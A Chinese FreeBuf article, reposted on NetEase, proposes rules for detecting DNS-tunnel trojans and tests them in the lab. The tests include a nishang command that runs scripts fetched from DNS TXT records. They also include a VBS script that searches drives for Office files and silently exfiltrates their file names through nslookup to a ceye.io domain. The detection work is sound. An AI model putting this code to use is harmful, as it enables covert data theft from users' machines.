网易首页 > 网易号 > 正文 申请入驻

一次误报引发的DNS检测方案的思考:DNS隧道检测平民解决方案

0
分享至

*本文作者:ChuanFile,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

随着dns隧道应用的越来越广泛,尤其是xshell事件被公布以后,各大公司纷纷启动对dns隧道的监控,参考xshell的逻辑,大多数公司采取了“监控多个终端请求异常长度域名”的检测方案,其中注重检出率的公司为了提高检出率(当然会提高误报率)进一步降低了多终端的数量,采取了“单个终端请求了异常长度的域名”的方案来发现所有疑似dns隧道木马。

笔者前阵子突然发现几台机器频繁解析诡的域名,如下:

经过紧张的排查定位确认为浏览器的某插件导致,相关全域名存在注册记录,非dns隧道木马,为误报。大家都松了口气,但是也引起了反思,怎么才能更精准的发现真正的dns隧道木马?

大数据分析?够高大上!但落地成本高,复杂度也高,对于一般公司来说很难实施,为此笔者从dns隧道的原理和黑客的思路入手分析,提出一些简单的检测方案,仅供参考!

正文: 原理分析:

众所周知,dns隧道木马外传数据是利用1、过长的不存在的域名(其中随机数即为外传数据)2、txt回包作为回传数据(更新配置、模块等),详细分析这种利用开放53端口(可广义理解为漏洞)的传输方式的技术:

1、通用外传方式分析

a) 方式1:利用本机dns配置,发送域名请求,通过递归到达黑客控制的dns服务器(坏人需拥有或拿下dns服务 器)
b) 方式2:更改本机dns配置,配置为8.8.8.8等公共dns,然后通过递归外传到达黑客控制的dns服务器
c) 方式3:直接构造dns包体,发送到8.8.8.8等公共dns,然后利用递归外传到达黑客控制的dns服务器
d) 方式4:直接构造dns包体,发送到本机dns服务器,然后利用递归外传到达黑客控制的dns服务器
e) 方式5:直接构造dns包体,发送到自己控制的dns服务器,直接获取数据

2、安全取证分析

a) 方式1:此方式走系统dns配置,无法获取哪个程序调用了dns请求,仅能看到系统svchost.exe进行了dns请求,但一旦发现异常可通过配置dns黑名单止损
b) 方式2:此方式走系统dns配置,无法获取哪个程序调用了dns请求,仅可获取dns配置被更改的日志,但无法获取谁更改的,仅能看到系统svchost.exe进行了dns请求,因公共服务不在公司控制范围,所有无法通过配置域名解析黑名单止损
c) 方式3:此方式可获取哪个进程发起了dns请求(xshell就是利用了此方案),同样,因公共服务不在公司控制范围,所有无法通过配置域名解析黑名单止损
d) 方式4:此方式可获取哪个进程发起了dns请求(xshell就是利用了此方案),但一旦发现异常可通过配置dns黑名单止损
e) 方式5:此方式可获取哪个进程发起了dns请求,但直接暴露黑客dns位置,可通过直接屏蔽恶意dns目的止损

3、恶意进程和黑dns服务器交互分析

a) 恶意进程仅用超长域名记录外传数据,不利用txt回包获取回传数据,不利用A记录回包作为C&C地址,纯窃取敏感信息的木马就是利用此方式,这行情况下:

i. dns服务器无需提供解析服务,即dns服务器可以无回包
ii. dns服务器如提供解析服务返回解析的ip地址,但本机进程也不关注,即本机进程不对解析结果发包(无socket通信)

b) 恶意进程用超长域名记录外传数据,利用txt回包获取回传数据,不利用A记录回包作为C&C地址,xshell就是利用此方式,这行情况下:

i. dns服务器需提供解析服务,即dns服务器有txt回包,可能有A记录回包
ii. dns服务器需提供解析服务,但本机进程也不关注,即本机进程不对解析结果发包(无socket通信)

c) 恶意进程用超长域名记录外传数据,利用txt回包获取回传数据,并利用A记录回包作为C&C地址,此方式不是纯dns隧道,不符合dns的隐蔽性,从dns隧道角度分析黑客理论上利用此方式几率极小,这行情况下:

i. dns服务器需提供解析服务,即dns服务器有txt回包,可能有A记录回包
ii. 本机程序对解析出的A记录发起访问(有socket通信)

d) 恶意进程用超长域名记录外传数据,不利用txt回包获取回传数据,但利用A记录回包作为C&C地址,但此方式多为正常程序使用,不是纯dns隧道,不符合dns的隐蔽性,从dns隧道角度分析黑客理论上利用此方式几率极小,这行情况下:

i. dns服务器需提供解析服务,即dns服务器有回包,但是A记录类型
ii. 本机进程对此A记录进行访问关注,即本机进程对解析结果地址发包
结论:

完成外传方式分析、取证分析、恶意进程和黑dns服务器交互分析等三部分的分析后,我们已完全掌握黑客的伎俩,接下来我们再深入分析下,首先,我们结合下黑客的心理,黑客利用dns隧道的目的是绕过防御(如禁止外联)、躲避流量检测(如snort特征码检测)、躲避ioc检测(如外联恶意ip、恶意域名)等,那黑客必然不会对dns相关(如解析出的ip)的ip进行额外的通信,如http、socket等,既是存在非dns通信也是通过txt回包获取c&c罢了,这样才可以充分利用dns的隐蔽性。其次我们从黑客入侵的目的出发,入侵的最终目的无非是为了窃取数据外传,窃取单个账号密码只是中间过程,最终还是为了窃取大量数据,那利用dns怎么外传大量数据呢,超长域名*频率就是外传的数据量,仅超长域名不排除在外传账号密码等少量新的可能性,但高频率就一定在大量外传了。第三从域名注册角度分析,dns必然涉及到域名问题,假设正在请求的超长域名已存在注册记录,那必然不是dns隧道方式,因注册记录是固定的,能承载的信息也就是固定的,一定不可能是外传的数据。

通过以上分析得出监控需要关注的几个要素:长域名、频率、txt类型、终端是否对解析ip发起访问、是否有全域名注册记录,推导检测逻辑如下:

方向1:特征检测:

检测窃密木马(无需更新和接收指令): 【域名超长 or 频率高】 and 【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】

检测远控木马(需更新和接收指令): 【域名超长 or 频率高】 and 【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】 and 【存在txt回包】

通用检测(可发现单次外传,存在浏览器预解析等误报,需结合其他特征确认):

{【存在txt回包】and 【不存在全域名注册记录】} or {【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】}

方向2:基于外传量检测,发现正在进行的大量数据泄露(不分析细节,仅供参考,本次实验不涉及):

单台机器检测: 域名长度(3+N级的域名) * 域名数量(相同只计算一个) > 单台机器阈值,评测外传数据大小,达到阈值则触发报警

群体事件检测: A机器域名长度(3+N级的域名)* A机器域名数量(相同只计算一个) + B +… > 多台机器阈值,评测外传数据大小,达到阈值则触发报警

实验验证分析:

为验证此方案的逻辑正确性,笔者实验如下:

Xshell实验验证:

1、直接运行xshell,触发dns行为

2、外传结果抓包:

3、检测逻辑匹配分析:

a) 外传域名超长
b) 频率较高
c) 类型为TXT,有回包
d) 无A记录解析结果,也就无程序对结果发起访问
e) 不存在全域名注册记录(黑客根据算法提前注册了部分域名,但全域名无注册信息)

结论:窃密木马+远控木马

Powershell dns实验验证:

1、利用powershell构造dns隧道

a) 编写一个最简单的一句话脚本,获取服务列表

b) 使用nishang的Out-NnsTxt将脚本GetServiceToTxt.ps1转换为txt记录

c) 在dns服务器建立对应txt记录(后续执行需按照1,2,3,4的顺序,所以建立记录名为1)

验证结果,ok

d) 使用nishang的DNS_TXT_Pwnage读取txt并执行(脚本自动在test.com前加1,向1.test.com请求txt记录作为脚本执行。不过笔者最终也没搞懂stopstring这个参数的原理,懂的朋友麻烦私信下,谢谢! ),可正常获取服务列表。

命令和结果如下:

DNS_TXT_Pwnage -startdomainstartflag.test.com -cmdstring nostart -commanddomain txt1.test.com -psstring startflag -psdomain test.com -Subdomains 1 -stopstring stopflag

2、外传结果抓包:

使用Microsoft Network Monitor抓包分析

3、检测逻辑匹配分析:

a) 因实验未将结果外传,所以域名长度不大,如dns隧道外传则必使用长域名
b) 因实验未将结果外传,所以频率不高,且只获取远端的get-server功能,频率也不高,但要实现外传和获取更多功能(如mimikatz等),则必然需要高频率
c) 类型为TXT,有回包
d) 无A记录解析结果,也就无程序对结果发起访问
e) 此实验场景未覆盖外传数据,所以不涉及注册问题

结论:远控木马(实验功能较单一,扩展为大马则可精确覆盖检测特征)

利用ceye.io的外传实验验证

1、 少量信息窃取和大量信息窃取

a) 单次少量信息窃取外传,简单利用windows命令(ping、nslookup等)即可窃取机器名

b) 多次大量信息窃取,编写脚本,搜索文档(word、excel、ppt),并外传文件名(此脚本360 未报警),vbs脚本内容如下 ( 代码未充分验证,不保证无错误,中文支持或读文件内容请自行修改):

'On ErrorResume Next

Set fso =CreateObject("Scripting.FileSystemObject")

toolsName=Array(".docx",".doc",".xls",".xlsx",".ppt",".pptx")

'ConstDRIVE_LETTERS="C:D:E:F:G:H:I:J:K:L:M:N:O:P:Q:R:S:T:U:V:W:X:Y:Z"

ConstDRIVE_LETTERS="o"

''''''''''''开始搜索

CallScanDrives()

''''''''''''''''''''

SubScanDrives()

Dim drives

drives=Split(DRIVE_LETTERS,":")

For Each drv In drives

If fso.DriveExists(drv) Then

Set drive=fso.GetDrive(drv)

If drive.isReady Then

CallScanFiles(drive.RootFolder)

End If

End If

Next

End Sub

''''''''''''

SubScanFiles(folder)

For Each this_file In folder.Files

On Error Resume Next

Call FindKeyFile(this_file)

WScript.Sleep 1

Next

For Each this_folder In folder.SubFolders

On Error Resume Next

Call ScanFiles(this_folder)

WScript.Sleep 1

Next

End Sub

'''''''''''查找特定文件

SubFindKeyFile(file)

On Error Resume Next

For Each tool_name In toolsName

'WScript.Echo

''''将文件名都转为大写匹配

IfInStr(UCase(file.name),UCase(tool_name)) <>0 Then

DnsStr= file.name &".xxxxxxx.ceye.io"

''''进行静默nslookup上传

setobjShell=wscript.createObject("wscript.shell")

objShell.exec("%comspec% /c nslookup " & DnsStr)

End If

Next

End Sub

2、外传结果展示:

a) 单次少量信息窃取外传

b) 多次大量信息窃取

3、检测逻辑匹配分析:

a) 利用A记录外传,非txt回包,长度不超长(实验原因,未充分利用域名长度),但频率较高,解析过程未发现异常(但此截图为8.8.8.8,非系统dns存在一定风险)

b) 对解析A记录结果无后续访问

c) 不存在全域名注册记录

结论:窃取数据木马

*本文作者:ChuanFile,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
嫁印度人的网红丹丹近况曝光!回国狂吐槽中国,住印度破棚屋却硬吹世外桃源

嫁印度人的网红丹丹近况曝光!回国狂吐槽中国,住印度破棚屋却硬吹世外桃源

小徐讲八卦
2026-07-14 15:49:21
还是来了,中方明确拒绝巴方请求,中国网友:亲兄弟也得明算账!

还是来了,中方明确拒绝巴方请求,中国网友:亲兄弟也得明算账!

沉醉美色
2026-07-14 15:28:12
普京下令全禁运,美欧猛然发现:对俄能源绞杀,竟被中国一招粉碎

普京下令全禁运,美欧猛然发现:对俄能源绞杀,竟被中国一招粉碎

基斯默默
2026-07-14 10:54:08
奉劝大家:钱没了可以再挣,工作没了可以再找,朋友没了可以再交,爱情没了可以再去找,你生来就一无所有,何惧从头再来

奉劝大家:钱没了可以再挣,工作没了可以再找,朋友没了可以再交,爱情没了可以再去找,你生来就一无所有,何惧从头再来

励职派
2026-07-15 21:32:28
三伏天越养越虚?这 4 个“养生坑” 90% 的人都踩过!

三伏天越养越虚?这 4 个“养生坑” 90% 的人都踩过!

猫大夫医学科普
2026-07-15 06:50:12
3000 美元一票难求,1400 美元无人问津,世界杯撕下最真实的面纱

3000 美元一票难求,1400 美元无人问津,世界杯撕下最真实的面纱

刘哥谈体育
2026-07-14 19:48:17
50万解放军武力统一台湾,马英九:朝鲜战争让台湾有了喘息机会

50万解放军武力统一台湾,马英九:朝鲜战争让台湾有了喘息机会

历史纵观
2026-07-09 23:58:31
1935年,克里姆林宫宴会现场目击者回忆:蒙古总理根登扇了斯大林一耳光后,全场鸦雀无声,事后斯大林只说了一句话

1935年,克里姆林宫宴会现场目击者回忆:蒙古总理根登扇了斯大林一耳光后,全场鸦雀无声,事后斯大林只说了一句话

磊子讲史
2026-07-14 16:14:16
发现一个现象:越是分房睡、财务上 AA 制、不干涉对方隐私的夫妻,感情越没有温度,心中隔阂太深,把婚姻过成合租

发现一个现象:越是分房睡、财务上 AA 制、不干涉对方隐私的夫妻,感情越没有温度,心中隔阂太深,把婚姻过成合租

不二大叔
2026-07-15 00:02:34
宝马七系跌到让人心动?740Li这回真把S级和A8整尴尬了

宝马七系跌到让人心动?740Li这回真把S级和A8整尴尬了

侃故事的阿庆
2026-07-15 18:59:57
蒋方舟翻车后,昔日同窗被扒出,曾在书中暗讽对方,如今两人殊途同归

蒋方舟翻车后,昔日同窗被扒出,曾在书中暗讽对方,如今两人殊途同归

Mr王的饭后茶
2026-07-14 18:03:55
网友叹息爱车在救灾中“拉缸”,张雪:救灾中的所有车友,不限品牌,过程中受损的维修费张雪机车全部报销

网友叹息爱车在救灾中“拉缸”,张雪:救灾中的所有车友,不限品牌,过程中受损的维修费张雪机车全部报销

台州交通广播
2026-07-14 02:51:19
泽连斯基突然意识到,乌克兰这次玩得这么大,可能逼着普京动真格

泽连斯基突然意识到,乌克兰这次玩得这么大,可能逼着普京动真格

小莜读史
2026-07-15 19:00:39
免去武汉市副市长职务,李湛新职明确

免去武汉市副市长职务,李湛新职明确

一口娱乐
2026-07-15 14:02:15
小菲带玥儿夜游香港,火遍全网的不是夜景,而是床边那首跑调的歌

小菲带玥儿夜游香港,火遍全网的不是夜景,而是床边那首跑调的歌

小椰的奶奶
2026-07-15 11:08:53
注意!日本短期签证停留天数将迎来调整

注意!日本短期签证停留天数将迎来调整

留学咖啡馆
2026-07-15 08:36:45
情侣在瑞士雪山顶“撒欢”,就这么被全世界直播了···

情侣在瑞士雪山顶“撒欢”,就这么被全世界直播了···

新欧洲
2026-04-21 19:37:05
震惊!一组世界小姐广西总决赛冠军,候场生图刷屏,网友:打破我对广西美女的认知

震惊!一组世界小姐广西总决赛冠军,候场生图刷屏,网友:打破我对广西美女的认知

火山詩话
2026-07-13 08:22:04
日本人评价抗美援朝:中国若是不出兵,美国根本打不到鸭绿江边,可中国偏偏去了,这仗西方复盘了70多年都没搞懂

日本人评价抗美援朝:中国若是不出兵,美国根本打不到鸭绿江边,可中国偏偏去了,这仗西方复盘了70多年都没搞懂

磊子讲史
2026-07-15 15:33:52
性张力拉满,这部9分新剧太欲了

性张力拉满,这部9分新剧太欲了

来看美剧
2026-07-15 20:45:07
2026-07-15 22:35:00
FreeBuf
FreeBuf
互联网安全新媒体
5548文章数 1757关注度
往期回顾 全部

头条要闻

法国队完败出局将迎季军赛 法媒:角逐屎上雕花的奖牌

头条要闻

法国队完败出局将迎季军赛 法媒:角逐屎上雕花的奖牌

体育要闻

世界杯两大巨星,加一起22岁

娱乐要闻

大S遗嘱曝光!S家拒不承认

财经要闻

梁文锋身家2400亿登顶全球AI首富

科技要闻

国行大突破!“Apple智能”已备案

汽车要闻

爱玩会玩 小鹏MONA L03这次来势凶猛

态度原创

本地
数码
手机
时尚
公开课

本地新闻

一脚踢进宋朝?来开封解锁宋式快乐

数码要闻

苹果Apple Intelligence在华已通过监管备案 发布在即

手机要闻

内存价格大涨!三星旗舰手机不再提供免费升级存储服务:用户要补差价

时尚圈新置顶的“colorfit”,到底怎么穿

公开课

李玫瑾:为什么性格比能力更重要?

无障碍浏览 进入关怀版